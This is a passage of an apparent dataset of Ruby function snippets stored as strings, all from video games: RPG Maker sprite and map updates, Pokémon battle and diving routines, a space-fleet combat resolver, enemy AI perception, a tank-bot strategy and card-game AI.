end\n for j in 0..15\n if exiting\n sprite.color = Color.new(255,255,255,j*255/15)\n else\n sprite.color = Color.new(0,0,0,j*255/15) \n end\n Graphics.update\n Input.update\n end\n pbToneChangeAll(Tone.new(0,0,0),8)\n for j in 0..5\n Graphics.update\n Input.update\n end\n sprite.dispose\nend",
"def update_bitmap\n # Get the graphic that represents the current frame\n sx = @unit.frame * @cw\n # Darken the sprite if it has acted\n self.color.set(0, 0, 0, 128) if @unit.acted\n # Take the square graphic from the rectangular picture\n self.src_rect.set(sx, 0, @cw, @ch)\n if !@unit.exposed? #or @unit.loaded\n self.opacity = 0\n @flag.opacity = 0\n @health.opacity = 0\n elsif $game_player.scroll_mode == 1\n self.opacity = 90\n @flag.opacity = 0\n @health.opacity = 0\n else\n self.opacity = 255\n @flag.opacity = 255\n @health.opacity = 255\n end\n # If CO power is on and unit has not moved, create flashing unit\n if @unit.army.using_power? and !@unit.acted\n blink_on(1)\n else\n blink_off\n end\n \n end",
"def calc\n calc_in_game\n calc_sprite_selection\n end",
"def update_bomb bomb, player\r\n if bomb.isActivated == 1\r\n bomb.explotion_time -= 16.63\r\n cur_time = Gosu.milliseconds.to_i\r\n i = (cur_time - bomb.activation_time ) / bomb.time_interval\r\n if(i < bomb.bomb_images.length)\r\n bomb.cur_image = bomb.bomb_images[i]\r\n end\r\n end\r\nend",
"def battle\n # Runden auf 0 setzen, continue auf true (Für die Schleife)\n round = 0\n continue = true\n victory = false\n # Bilde Arrays mit allen nötigen Werten für den Kampf\n turn_fleet = build_array(@attacker, @attacker_fleet)\n target_fleet = build_array(@defender, @defender_fleet)\n emp_phase(@attacker)\n emp_phase(@defender)\n # Angreifer beginnt\n turn_user = @attacker\n target_user = @defender\n while (round < 1000 && continue ) do\n round = round + 1\n if target_user == @defender\n @fight_shield = @defender_shield\n else\n @fight_shield = @attacker_shield\n end\n # Damit alle Gruppen in einer Runde nur auf das Schild feuern können\n shield = @fight_shield\n # Für die Ausgabe der Runden-Berichte\n turn_fleet.each do |fleet|\n # Nur Einheiten mit Anzahl > 0 und Schaden > 0 können kämpfen\n if fleet[1] > 0 && fleet[2] > 0 \n # Bestimme Ziel anhand von id.\n # -2 ist Miss\n # -1 ist Schild\n target = hit(target_fleet, turn_user)\n if(target==-1)\n mult = 1\n # Falls Ionenwaffe, wird Schaden an Schild erhöht\n if fleet[3] == 2\n mult = DamageType.find(fleet[3]).shield_mult\n end\n damage = fleet[2] * mult\n # Abzug des Schilds. Übernahme erst bei nächster Runde\n @fight_shield = @fight_shield - damage\n else\n mult = 1\n # Falls Laserwaffe, wird Schaden an Hülle erhöht\n # TABELLE DAMAGETYPE EINFÜGEN\n if (fleet[3] == 1)\n mult = DamageType.find(fleet[3]).shell_mult\n end \n if fleet[3] == 3 and !fleet[6]\n mult = DamageType.find(fleet[3]).station_mult\n end\n if fleet[3] == 4 and fleet[0] == @plattform_id\n mult = DamageType.find(fleet[3]).plattform_mult\n end \n # Bestimme welche Einheit getroffen wurde\n victim = target_fleet[target]\n # Schadensberechnung\n damage = fleet[2] * mult\n # Berechne neue HP\n hit_points = victim[-2]\n victim[-2] = hit_points-damage\n # Berechne Anzahl und Schaden neu\n update_ship_group(victim, target_user)\n end\n end \n end\n # Füge Runden-Bericht ein\n # Testet, ob Spieler noch Truppen besitzt\n if (defeat(target_fleet))\n continue = false\n if turn_user == @attacker\n victory = true \n end\n else\n # Falls Schild unter 0, wird er auf 0 gesetzt\n if @fight_shield < 0\n @fight_shield = 0\n end\n # Kampf-Schild für nächste Runde\n if target_user == @attacker\n @attacker_shield = @fight_shield\n else\n @defender_shield = @fight_shield\n end\n # Tausche Rolle des Angreifers aus\n tmp_fleet = turn_fleet\n tmp_user = turn_user\n turn_fleet = target_fleet\n turn_user = target_user\n target_fleet = tmp_fleet\n target_user = tmp_user\n end\n # Füge alle Runden-Berichte hinzu\n end\n if continue\n @report << \"Unentschieden! \"\n @report << \"Es konnte kein Sieger ermittelt werden \"\n else \n @report << \"Die Flotte von #{target_user.username} unterlag. \"\n @report << \" #{turn_user.username} war siegreich! \"\n end\n # Generiere Verlustrechnung\n attacker_fleet_ary = []\n defender_fleet_ary = []\n if turn_user == @attacker\n lost_report(turn_fleet, @attacker) \n lost_report(target_fleet, @defender) \n attacker_fleet_ary = turn_fleet\n defender_fleet_ary = target_fleet\n else\n lost_report(target_fleet, @attacker) \n lost_report(turn_fleet, @defender) \n\n attacker_fleet_ary = target_fleet\n defender_fleet_ary = turn_fleet\n end\n update_fighting_fleet(@attacker_fleet, attacker_fleet_ary)\n update_fighting_fleet(@defender_fleet, defender_fleet_ary)\n ary = [@attacker_fleet, @defender_fleet] \n return [@report, @spy_report]\n end",
"def comer\r\n # @image = Image[\"pez2.png\"]\r\n # Al comer, un pez tendrá x segundos mas de vida, y queda libre para buscar mas comida\r\n @vida_inicio += 2\r\n @libre = true\r\n end",
"def pixel_bush?(x, y)\n # no bush if map ID is invalid\n return false if @map_id == 0\n # get pixel movement rate\n pix = $BlizzABS.pixel\n # iterate through all layers\n BlizzABS::Cache::MapLayers.each {|i|\n # if tile ID not valid\n if data[(x+pix/2)/pix, (y+pix/2)/pix, i] == nil\n # no bush\n return false\n # if bush bit is set\n elsif @passages[data[(x+pix/2)/pix, (y+pix/2)/pix, i]] & 0x40 == 0x40\n # bush\n return true\n end}\n # no bush\n return false\n end",
"def battler_hue\n return 0\n end",
"def smoothing; end",
"def update_bitmap\n # Check if hiding HP from enemy view is true\n if @unit.army.officer.hide_hp and !@unit.army.playing\n self.bitmap = RPG::Cache.picture(\"hp_hide\")\n else # Display normal HP value\n # If unit has damage on it\n if @unit.unit_hp < 10\n self.bitmap = RPG::Cache.picture(\"hp_\" + @unit.unit_hp.to_s)\n # Otherwise, draw no flag\n else\n self.bitmap = nil\n end\n end\n end",
"def perception(char, update_priority = BlizzABS::UPDFull)\n # temporary variables\n dir, x, y, ai, in_range = char.direction, char.x, char.y, char.ai, []\n # if enemy\n if char.is_a?(Map_Enemy)\n # if heavy update required\n if update_priority >= BlizzABS::UPDHeavy\n # find all battlers within perception range\n in_range = ($game_map.battlers + $BlizzABS.battlers - [char]).\n find_all {|b| b.valid? && !b.battler.dead? && ai.view_range * 128 >=\n Math.hypot(b.real_x-char.real_x, b.real_y-char.real_y) &&\n !wall?(char, b.x, b.y)}\n # find all who are in sight\n ai.sight = in_range.find_all {|b| b.in_action > 0 ||\n can_see_char?(char, b.real_x, b.real_y) ||\n can_hear_char?(char, b.real_x, b.real_y)}\n # if full update required\n if update_priority == BlizzABS::UPDFull\n # memorize all unmemorized, seen battlers\n ai.add_to_memory(ai.sight - ai.memory.keys)\n end\n end\n # if medium update required\n if update_priority >= BlizzABS::UPDMedium\n # if observing attribute is active\n if ai.observe\n # valid and lost actors\n valid_actors, lost_actors = [], []\n # for each battler in sight\n ai.sight.each {|b|\n # if actor\n if b.is_a?(Map_Actor)\n # add the appropriate array\n (b.valid? ? valid_actors : lost_actors).push(b)\n end}\n # add all actors lost out of sight\n lost_actors |= (ai.memory.keys - ai.sight).find_all {|b|\n b.is_a?(Map_Actor)}\n # for each actor in sight\n valid_actors.each {|key|\n # get observation logs\n data = ai.observation[key.battler]\n # if no observation log exists\n if data == nil\n # create an observation log\n ai.observation[key.battler] = [Graphics.frame_count]\n # if interval not started yet\n elsif !data[data.size - 1].is_a?(Numeric)\n # start observation interval right now\n data.push(Graphics.frame_count)\n end}\n # for all actors that need to be forgotten\n lost_actors.each {|key|\n # get observation logs\n data = ai.observation[key.battler]\n # if logs exist, last log is a number and time has passed\n if data != nil && data[data.size-1].is_a?(Numeric) &&\n data[data.size-1] < Graphics.frame_count\n # convert number into inteval\n data.push(data.pop..Graphics.frame_count)\n end}\n end\n end\n # if actor\n elsif char.is_a?(Map_Actor)\n # in sight are all battlers in range\n ai.sight = ($game_map.battlers + $BlizzABS.battlers - [char]).\n find_all {|b| b.valid? && b.in_screen?}\n end\n # get alignment setup\n negative, positive = ai.negative, ai.positive\n # invert setup if confused\n negative, positive = positive, negative if char.restriction == 3\n # if a target exists\n if ai.target != nil\n # if force moving\n if char.move_type == 3\n # if delay counter expired\n if ai.act.ready?\n # execute action\n try_execute(char)\n # if nobody around\n if ai.memory.keys.size == 0 && ai.sight.size == 0\n # reset action\n char.reset_action\n # if about to move and target exists\n elsif char.force_move.size == 0 && ai.target != nil\n # get pixel movement rate and initialize flag\n pix, found = $BlizzABS.pixel, false\n # find the target in memory\n ai.memory.each_key {|key|\n # if this is the target\n if key == ai.target\n # if lost target completely\n if ai.memory[key].x / pix == char.x / pix &&\n ai.memory[key].y / pix == char.y / pix\n # reset action\n char.reset_action\n # abort method\n return\n end\n # found the target\n found = true\n break\n end}\n # reset action if not found in memory\n char.reset_action unless found\n end\n end\n else\n # face the target\n char.turn_toward(ai.target)\n # if running away\n if char.ai.act.escape?\n # move away from reference target\n char.move_away_random(ai.target, true, ai.act.range)\n # if delay counter expired\n elsif ai.act.ready?\n # execute action\n try_execute(char)\n # if nobody around\n if ai.memory.keys.size == 0 && ai.sight.size == 0\n # reset action\n char.reset_action\n # if about to move and target exists\n elsif char.force_move.size == 0 && ai.target != nil\n # if within sight\n if ai.sight.include?(ai.target)\n # request path to target\n request_path(char, ai.target)\n else\n # get pixel movement rate and initialize flag\n pix, found = $BlizzABS.pixel, false\n # find the target in memory\n ai.memory.each_key {|key|\n # if this is the target\n if key == ai.target\n # temporary variables\n x, y = ai.memory[key].x / pix, ai.memory[key].y / pix\n # if lost target completely\n if x == char.x / pix && y == char.y / pix\n # reset action\n char.reset_action\n # abort method\n return\n end\n # find path to last known coordinates\n request_path(char, x, y)\n found = true\n break\n end}\n # reset action if not found in memory\n char.reset_action unless found\n end\n end\n # if negative action and too close\n elsif negative.include?(ai.target.ai.group) &&\n Math.hypot(char.real_x-ai.target.real_x,\n char.real_y-ai.target.real_y) < 384\n # delete movement commands\n char.force_move = []\n # back off from reference target\n char.move_away_random(ai.target, false, ai.act.range)\n end\n # exit method\n return\n end\n end\n # if not actor\n unless char.is_a?(Map_Actor)\n # call for help\n call_for_help(char, in_range, negative, positive)\n end\n end",
"def update\n \tif @panorama_name != $game_map.panorama_name or\n\t @panorama_hue != $game_map.panorama_hue\n # Set the Values\n\t @panorama_name = $game_map.panorama_name\n\t @panorama_hue = $game_map.panorama_hue\n\t if @panorama.bitmap != nil\n\t\t @panorama.bitmap.dispose\n\t\t @panorama.bitmap = nil\n\t end\n\t if @panorama_name != \"\"\n\t\t @panorama.bitmap = RPG::Cache.panorama(@panorama_name, @panorama_hue)\n\t end\n\t Graphics.frame_reset\n\t end\n\t if @fog_name != $game_map.fog_name or @fog_hue != $game_map.fog_hue\n\t @fog_name = $game_map.fog_name\n\t @fog_hue = $game_map.fog_hue\n\t if @fog.bitmap != nil\n\t\t @fog.bitmap.dispose\n\t\t @fog.bitmap = nil\n\t end\n\t if @fog_name != \"\"\n\t\t @fog.bitmap = RPG::Cache.fog(@fog_name, @fog_hue)\n\t end\n\t Graphics.frame_reset\n\t end\n\t @tilemap.ox = $game_map.display_x / 4\n\t @tilemap.oy = $game_map.display_y / 4\n\t @tilemap.update\n\t @panorama.ox = $game_map.display_x / 8\n\t @panorama.oy = $game_map.display_y / 8\n\t @fog.zoom_x = $game_map.fog_zoom / 100.0\n\t @fog.zoom_y = $game_map.fog_zoom / 100.0\n\t @fog.opacity = $game_map.fog_opacity\n\t @fog.blend_type = $game_map.fog_blend_type\n\t @fog.ox = $game_map.display_x / 4 + $game_map.fog_ox\n\t @fog.oy = $game_map.display_y / 4 + $game_map.fog_oy\n\t @fog.tone = $game_map.fog_tone\n \n \n \n # This is the Sprite Anti Lag Code\n\t for sprite in @character_sprites\n\t if sprite.character.is_a?(Game_Event)\n # If Event is Auto, Parallel, Set to Always Update (/al_update) or In Range\n \t\t if sprite.character.trigger == 3 or sprite.character.trigger == 4 or\n sprite.character.lag_include or\n in_range?(sprite.character) \n # Update the Sprite\n\t \t sprite.update\n # If you have other code to run, allow this part to run first, then\n # run other parts of scripts here inside of the conditional branch. \n\t \t end\n # Not an Event, thus, Player, so always update the Players Sprite\n\t else\n # Update the Sprite\n\t\t sprite.update\n\t end\n\t end\n # End Sprite Anti Lag Code\n \n \n \n \t@weather.type = $game_screen.weather_type\n\t @weather.max = $game_screen.weather_max\n\t @weather.ox = $game_map.display_x / 4\n @weather.oy = $game_map.display_y / 4\n\t @weather.update\n\t for sprite in @picture_sprites\n\t sprite.update\n\t end\n\t @timer_sprite.update\n\t @viewport1.tone = $game_screen.tone\n\t @viewport1.ox = $game_screen.shake\n\t @viewport3.color = $game_screen.flash_color\n\t @viewport1.update\n\t @viewport3.update\n end",
"def play_as_master_first\r\n @pending_points = 0\r\n w_cards = []\r\n curr_points_me = @team_mates.inject(0){ |result, name_pl| result + @points_segno[name_pl] }\r\n @cards_on_hand.each do |card_lbl|\r\n card_s = card_lbl.to_s # something like '_Ab'\r\n segno = card_s[2,1] # character with index 2 and string len 1\r\n is_card_lbl_briscola = card_s[2] == @briscola.to_s[2] \r\n curr_w = 0\r\n curr_w += 70 if is_card_lbl_briscola\r\n # check if it is an asso or 3\r\n curr_w += 220 if card_s[1] == \"A\"[0]\r\n curr_w += 200 if card_s[1] == \"3\"[0] \r\n if card_s =~ /[24567]/\r\n # liscio value\r\n lisc_val = (card_s[1] - '0'[0]).to_i\r\n curr_w += 50 + lisc_val\r\n end\r\n curr_w += 60 if card_s[1] == \"F\"[0]\r\n # check horse and king cards\r\n if card_s[1] == \"C\"[0]\r\n if is_mariazz_possible?(segno)\r\n curr_w += 90 + 70\r\n else\r\n curr_w += 30\r\n end\r\n end \r\n if card_s[1] == \"R\"[0]\r\n if is_mariazz_possible?(segno)\r\n curr_w += 100 + 70\r\n else\r\n curr_w += 20\r\n end\r\n end\r\n # penalty for cards wich are not stroz free\r\n curr_w += 10 * @strozzi_on_suite[segno].size\r\n if (curr_points_me + @deck_info.get_card_info(card_lbl)[:points]) > @target_points\r\n curr_w -= (@deck_info.get_card_info(card_lbl)[:points] + 100)\r\n curr_w -= 200 if is_card_lbl_briscola\r\n curr_w -= 1000 if is_card_lbl_briscola and card_s[1] == \"A\"[0]\r\n end\r\n \r\n w_cards << [card_lbl, curr_w ] \r\n end\r\n # find a minimum\r\n #p w_cards\r\n min_list = w_cards.min{|a,b| a[1]<=>b[1]}\r\n @log.debug(\"Play as first: best card#{min_list[0]}, (w_cards = #{w_cards.inspect})\")\r\n return min_list[0]\r\n end",
"def fast_dance(direction, tiles)\n\nend",
"def actuMap()\n 0.upto(@map.rows-1) do |x|\n 0.upto(@map.cols-1) do |y|\n\n if (@map.accessAt(x,y).value == 1)\n\n if @map.accessAt(x,y).color != nil\n if (@map.accessAt(x,y).color == @nbHypo + 1)\n @timePress[x][y] = 1\n @map.accessAt(x,y).color = @nbHypo\n end\n changeImage(@buttonTab[x][y],@tabCase[@map.accessAt(x,y).color])\n else\n changeImage(@buttonTab[x][y],\"../images/cases/blanc.png\" )\n @timePress[x][y] = 0\n end\n elsif @map.accessAt(x,y).value == 2\n changeImage(@buttonTab[x][y],\"../images/cases/croix.png\" )\n @timePress[x][y] = 0\n\n else\n ajoutLimitation(x,y)\n\n end\n\n end\n\n end\n end",
"def choose_bitmap_in_terms_of_movement\n if @character_name != \"\" && !@character.moving? then\n @character_bitmap_name = @character_name + \"_STATIC\"\n Cache.character(@character_name + \"_STATIC\")\n else\n @character_bitmap_name = @character_name\n Cache.character(@character_name)\n end\n end",
"def tick events\n @outerlimit = (battlefield_width + battlefield_height) * 3\n #print \"mode=#{@mode},stage=#{@stage},dir=#{@dir},walldir=#{@walldir}\\n\"\n #print \"at (#{x},#{y}) at time #{time},res=#{@trk_res}\\n\"\n #mode nil is startup and initialize variables\n #STDOUT.flush\n # ###########\n # # Sensors\n # ###########\n @since_evade += 1\n @sincehit += 1\n @sincehit = 0 if not events['got_hit'].empty?\n events['got_hit'].each{|e| @hit_filter += e.first}\n @hit_filter *= 0.99\n if events['robot_scanned'].empty?\n @sinceblip += 1\n @closest = @outerlimit\n #print\"\\n\" \n else\n @closest = events['robot_scanned'].collect{|e| e.first}.sort.first\n @sinceblip = 0\n #print \",blip=#{@closest}\\n\"\n end\n # ###########\n # # High level logic - state machine\n # ###########\n #print \"sincehit=#{@sincehit},closest=#{@closest},range=#{@range}\\n\"\n #mode 0 is orient tank\n if @mode == 0\n @stage = 0\n @range = @outerlimit\n @mode = 1 if aimrad(@dir*90)\n #mode 1 find range of nearest target\n elsif @mode == 1\n #setup radar for a scan\n if @stage==0\n aimrad(@dir*90 + 180,60,1)\n @range = min(@range,@closest)\n @stage +=1\n #continue around for full circle\n elsif @stage == 1\n @range = min(@range,@closest)\n if aimrad(@dir*90,60,1)\n #did we see a bot?\n if @range == @outerlimit\n @stage = 0 \n else\n @mode = 2\n @stage = 0\n end\n end\n end\n #mode 2: find the nearestbot\n elsif @mode == 2\n #start next circle to re find the closest bot\n if @stage == 0\n #print \"range is #{@range}\\n\"\n aimrad(@dir*90 + 180,60,1)\n @stage +=1\n #continue scan for the closest bot\n elsif @stage == 1\n #print \"dir=#{@dir},angle=#{radar_heading}, closest=#{@closest}\\n\"\n if @closest < @range * 1.25\n @range = @closest\n @mode = 3\n @stage = 0\n @tangle = radar_heading\n #print \"found target at angle #{@tangle}\\n\"\n #if we finished the scan, and didn't find close target, recompute range\n elsif aimrad(@dir*90,60,1)\n @mode = 0\n @stage =0\n end\n end\n #mode 3 is tracking bot\n elsif @mode == 3\n #entry from previous mode, determine whether to scan ccw or cw\n if @stage == 0\n @trk_dir,@trk_res,@stage = -1,4,2\n #first scan in this direction\n elsif @stage == 1\n if @closest < @range * 1.25\n @range = @closest\n @trk_dir = -@trk_dir\n @trk_res = max(@trk_res - 1,0)\n @mytrack.add(x,y,@radar_heading, @range , time) if @trk_res < 3\n else\n @stage = 2\n end\n #second scan in this direction\n elsif @stage == 2\n if @closest < @range * 1.25\n @range = @closest\n @trk_dir = -@trk_dir\n @trk_res = max(@trk_res - 1,0)\n @mytrack.add(x,y,@radar_heading, @range , time) if @trk_res < 3\n @stage = 1\n else\n @trk_dir = -@trk_dir\n @trk_res = min(@trk_res + 2,4)\n @stage = 3\n end\n #the target bot has moved out of our window, expand the window\n elsif @stage == 3\n if @closest < @range * 1.25\n @range = @closest\n @trk_dir = - @trk_dir\n @trk_res = max(@trk_res - 2,0)\n @mytrack.add(x,y,@radar_heading, @range , time) if @trk_res < 3\n @stage = 1\n elsif @trk_res < 6\n @trk_dir = - @trk_dir\n @trk_res = @trk_res +1\n else\n #we lost our target, reaquire from scratch\n @mode = 0\n @stage = 0\n end\n end\n @tangle += @@ScanRes[@trk_res] * @trk_dir\n aimrad(@tangle)\n #print\"tangle=#{@tangle}, res=#{@@ScanRes[@trk_res]}, rot=#{@trk_dir}\\n\"\n elsif @mode == 4\n #determine which corner to go to from a corner\n if @stage == 0\n @stage += 1 if aimrad(@dir*90 + 95*@walldir)\n #first scan in direction of prev corner\n elsif @stage == 1\n aimrad(@dir*90 + 60*@walldir)\n @stage += 1\n #save count of robots in next corner, and swing radar to previous corner\n elsif @stage == 2\n @prevCorner = events['robot_scanned'].size\n aimrad(@dir*90 + 30*@walldir)\n @stage += 1\n elsif @stage == 3\n aimrad(@dir*90 -5*@walldir)\n @stage += 1\n elsif @stage == 4\n @nextCorner = events['robot_scanned'].size\n #print \"next corner=#{@nextCorner}, prev corner=#{@prevCorner}\\n\"\n if @nextCorner > @prevCorner\n @dir = (@dir + @walldir)%4\n @walldir *= -1\n end\n @stage = 0\n @mode = 0\n end\n elsif @mode == 5\n #determine which corner to go to from middle of wall\n if @stage == 0\n @stage += 1 if aimrad(@dir*90 - 5*@walldir)\n #first scan in direction of prev corner\n elsif @stage == 1\n aimrad(@dir*90 + 30*@walldir)\n @stage += 1\n #save count of robots in next corner, and swing radar to previous corner\n elsif @stage == 2\n @nextCorner = events['robot_scanned'].size\n aimrad(@dir*90 + 150*@walldir)\n @stage += 1\n elsif @stage == 3\n @stage += 1 \n aimrad(@dir*90 -150*@walldir)\n elsif @stage == 4\n aimrad(@dir*90 -185*@walldir)\n @stage += 1\n elsif @stage == 5 \n @prevCorner = events['robot_scanned'].size\n #print \"next corner=#{@nextCorner}, prev corner=#{@prevCorner}\\n\"\n if @nextCorner > @prevCorner\n @dir = (@dir + 2)%4\n @walldir *= -1\n end\n @stage = 0\n @mode = 0\n end\n end\n #compute the distances to the four walls\n walls = [battlefield_width - x,y,x,battlefield_height - y]\n #hug the wall, if we are slightly off the wall, than move back to the wall\n toleftwall,torightwall = walls[(@dir+1)%4],walls[(@dir-1)%4]\n #print \"wallroom left=#{toleftwall}, right=#{torightwall}\\n\"\n if toleftwall > 80 and toleftwall < 200\n aimtank(@dir * 90 + 20)\n elsif torightwall > 80 and torightwall < 200\n aimtank(@dir * 90 - 20)\n else\n aimtank(@dir * 90)\n end\n #If we reach a corner or wall, turn towards farthest corner on this wall\n if walls[@dir] < 100\n if toleftwall > torightwall\n @walldir = 1 #we are now going ccw\n @dir = (@dir+1)%4 # turn ccw\n #print \"turn left\\n\" \n else\n @walldir = -1 #we are now going cw\n @dir = (@dir-1)%4 #turn cw\n #print \"turn right\\n\" \n end\n #don't check corners at T junction\n if toleftwall > 100 and torightwall > 100\n @mode = 5 # determin weather it is safer ahead or behind\n @stage = 0\n else\n @mode = 4 # determin if previous corner was safer\n @stage = 0\n end\n #If we are getting hammered, turn now to evade damage\n # once we evade, avoid making another evasive manuver or we will turn in circles\n elsif @hit_filter > 400 and @since_evade > 100\n @dir = (@dir+@walldir)%4\n @hit_filter = 0\n @since_evade = 0\n end\n accelerate 1\n aim = @mytrack.predict(x,y,time) || (@dir * 90)%360\n aimgun(aim)\n fire 0.1\n doturns #we already computed our turns, now execute them\n STDOUT.flush\n end",
"def pbSurfacing\n return if !$PokemonGlobal.diving\n return false if $game_player.pbFacingEvent\n surface_map_id = nil\n GameData::MapMetadata.each do |map_data|\n next if !map_data.dive_map_id || map_data.dive_map_id != $game_map.map_id\n surface_map_id = map_data.id\n break\n end\n return if !surface_map_id\n move = :DIVE\n movefinder = $Trainer.get_pokemon_with_move(move)\n if !pbCheckHiddenMoveBadge(Settings::BADGE_FOR_DIVE,false) || (!$DEBUG && !movefinder)\n pbMessage(_INTL(\"Light is filtering down from above. A Pokémon may be able to surface here.\"))\n return false\n end\n if pbConfirmMessage(_INTL(\"Light is filtering down from above. Would you like to use Dive?\"))\n speciesname = (movefinder) ? movefinder.name : $Trainer.name\n pbMessage(_INTL(\"{1} used {2}!\",speciesname,GameData::Move.get(move).name))\n pbHiddenMoveAnimation(movefinder,false)\n $PokemonGlobal.current_diving = nil\n pbFadeOutIn {\n $game_temp.player_new_map_id = surface_map_id\n $game_temp.player_new_x = $game_player.x\n $game_temp.player_new_y = $game_player.y\n $game_temp.player_new_direction = $game_player.direction\n $PokemonGlobal.surfing = true\n $PokemonGlobal.diving = false\n pbUpdateVehicle\n $scene.transfer_player(false)\n surfbgm = GameData::Metadata.get.surf_BGM\n (surfbgm) ? pbBGMPlay(surfbgm) : $game_map.autoplayAsCue\n $game_map.refresh\n }\n\n return true\n end\n return false\nend",
"def loadWildBitmaps\n if @battle.wildBattle?\n # wild battle bitmaps\n @battle.pbParty(1).each_with_index do |pkmn, i|\n next if !@sprites[\"pokemon_#{i*2 + 1}\"]\n @sprites[\"pokemon_#{i*2 + 1}\"].setPokemonBitmap(pkmn, false)\n @sprites[\"pokemon_#{i*2 + 1}\"].tone = Tone.new(-255, -255, -255, -255)\n @sprites[\"pokemon_#{i*2 + 1}\"].visible = true\n end\n # renders databoxes\n for m in 0...@battle.pbParty(1).length\n next if !@sprites[\"dataBox_#{m*2 + 1}\"]\n @sprites[\"dataBox_#{m*2 + 1}\"].render\n end\n end\n # initialize Player battler 0 when follower enabled\n if !EliteBattle.follower(@battle).nil? && !@safaribattle\n pkmn = @battlers[EliteBattle.follower(@battle)].pokemon\n @sprites[\"pokemon_#{EliteBattle.follower(@battle)}\"].setPokemonBitmap(pkmn, true)\n @sprites[\"pokemon_#{EliteBattle.follower(@battle)}\"].tone = Tone.new(-255, -255, -255, -255)\n @sprites[\"pokemon_#{EliteBattle.follower(@battle)}\"].visible = true\n @sprites[\"dataBox_#{EliteBattle.follower(@battle)}\"].render\n end\n end",
"def test_pattern\n [@window, @sprite, @bitmap].each{|container|\n uc = UCGraph.new(container, 100, 180, 50, @elements, \"%d%%\", 100, -100, Font.normal_font,\n Color.hp_gauge_color1, Color.hp_gauge_color2,\n Color.mp_gauge_color1, Color.mp_gauge_color2)\n uc.draw()\n }\n return true\n end",
"def refresh\n #create rectangle to fill is not using a picture\n rect = Rect.new(0, 0, 32, 32)\n \n if @anim\n case @type\n when 1; self.bitmap = RPG::Cache.picture(sprintf(\"GTBS/#{$game_system.attack_color}_range\"))\n when 2; self.bitmap = RPG::Cache.picture(sprintf(\"GTBS/#{$game_system.move_color}_range\"))\n end\n else\n case @type\n when 1\n self.bitmap = $sprite_range_bitmaps[0] \n #self.bitmap.fill_rect(rect, Color.new(0, 0, 255, 255)) #Move\n self.opacity = 150\n when 2\n self.bitmap = $sprite_range_bitmaps[1]\n #self.bitmap.fill_rect(rect, Color.new(255, 0, 0, 255)) #Ranges\n self.opacity = 150\n when 3\n self.bitmap = $sprite_range_bitmaps[2]\n #self.bitmap.fill_rect(rect, Color.new(240, 0, 60, 255)) #Attack\n self.opacity = 200\n when 4\n self.bitmap = $sprite_range_bitmaps[3]\n #self.bitmap.fill_rect(rect, Color.new(0, 255, 0, 255)) #Drop\n self.opacity = 200\n end\n end\n if @anim\n @cw = self.bitmap.width / ANIM_FRAMES \n else\n @cw = self.bitmap.width\n end\n @ch = self.bitmap.height\n update\n end",
"def gameflow\n \n end",
"def pbStartBattle(battle)\n @battle = battle\n @battlers = battle.battlers\n # checks whether to display integrated VS sequence\n @integratedVS = @battle.opponent && @battle.opponent.length < 2 && !EliteBattle.get(:smAnim) && EliteBattle.can_transition?(\"integratedVS\", @battle.opponent[0].trainer_type, :Trainer, @battle.opponent[0].name, @battle.opponent[0].partyID)\n # check if minor trainer transition is applied\n @minorAnimation = @battle.opponent && !@integratedVS && EliteBattle.can_transition?(\"minorTrainer\", @battle.opponent[0].trainer_type, :Trainer, @battle.opponent[0].name, @battle.opponent[0].partyID)\n # setup for initial vector configuration\n vec = EliteBattle.get_vector(:ENEMY)\n if @battle.opponent && @minorAnimation\n vec = EliteBattle.get_vector(:MAIN, @battle)\n vec[0] -= Graphics.width/2\n end\n @vector = Vector.new(*vec)\n @vector.battle = @battle\n # setup for all the necessary variable\n @firstsendout = true\n @inMoveAnim = false\n @lastcmd = [0, 0, 0, 0]\n @lastmove = [0, 0, 0, 0]\n @orgPos = nil\n @shadowAngle = 60\n @idleTimer = 0\n @idleSpeed = [40, 0]\n @animationCount = 1\n @showingplayer = true\n @showingenemy = true\n @briefmessage = false\n @lowHPBGM = false\n @introdone = false\n @dataBoxesHidden = false\n @sprites = {}\n @lastCmd = Array.new(@battlers.length,0)\n @lastMove = Array.new(@battlers.length,0)\n # viewport setup\n @viewport = Viewport.new(0, 0, Graphics.width, Graphics.height)\n @viewport.z = 99999\n # dex viewport\n @dexview = Viewport.new(0, 0, Graphics.width, Graphics.height)\n @dexview.z = 99999\n # sets up message sprite viewport\n @msgview = Viewport.new(0, 0, Graphics.width, Graphics.height)\n @msgview.z = 99999\n # Adjust player's side for screen size\n @traineryoffset = (Graphics.height - 320)\n # Adjust foe's side for screen size\n @foeyoffset = (@traineryoffset*3/4).floor\n # special Sun & Moon styled VS sequences\n if EliteBattle.get(:smAnim) && @battle.opponent\n @smTrainerSequence = SunMoonBattleTransitions.new(@viewport, @msgview, self, @battle.opponent[0])\n end\n if EliteBattle.get(:smAnim) && !@battle.opponent && @battle.pbParty(1).length == 1\n @smSpeciesSequence = SunMoonSpeciesTransitions.new(@viewport, @msgview, self, @battle.pbParty(1)[0])\n end\n # integrated VS sequence\n if @integratedVS\n @integratedVSSequence = IntegratedVSSequence.new(@viewport, self, @battle.opponent[0].trainer_type)\n end\n # loads in new battle background\n loadBackdrop\n # configures all the UI elements\n self.loadUIElements\n initializeSprites\n pbSetMessageMode(false)\n # start initial transition\n startSceneAnimation\n end",
"def aide2()\n indice = IndiceMoyen.create(@map)\n res = indice.envoyerIndice.indice.split(\"-\")\n\n x=res[0].to_i\n y=res[1].to_i\n if res[2]==\"0\"\n @map.putAt!(x,y,Case.create(2))\n changeImage(@buttonTab[x][y],\"../images/cases/croix.png\")\n else\n @map.putAt!(x,y,Case.create(1))\n @map.accessAt(x,y).color=1;\n changeImage(@buttonTab[x][y],\"../images/cases/noir.png\")\n end\n @timePress[x][y]+=1\n @timer.add(60)\n if @map.compare\n victoire()\n end\n end",
"def make_item_action_result\n \n # sorry i didnt work on this...\n # couse i dont have a sprite that uses items....\n # so i just added the standby sprite here...\n # when i get more time for this i'll try what i can do for this one... ^-^\n # its the same as the ones above...\n if @active_battler.is_a?(Game_Actor)\n @spriteset.actor_sprites[@active_battler.index].pose(1)\n else\n @spriteset.enemy_sprites[@active_battler.index].enemy_pose(1)\n end\n \n @item = $data_items[@active_battler.current_action.item_id]\n unless $game_party.item_can_use?(@item.id)\n @phase4_step = 1\n return\n end\n if @item.consumable\n $game_party.lose_item(@item.id, 1)\n end\n @help_window.set_text(@item.name, 1)\n @animation1_id = @item.animation1_id\n @animation2_id = @item.animation2_id\n @common_event_id = @item.common_event_id\n index = @active_battler.current_action.target_index\n target = $game_party.smooth_target_actor(index)\n set_target_battlers(@item.scope)\n for target in @target_battlers\n target.item_effect(@item)\n end\n end",
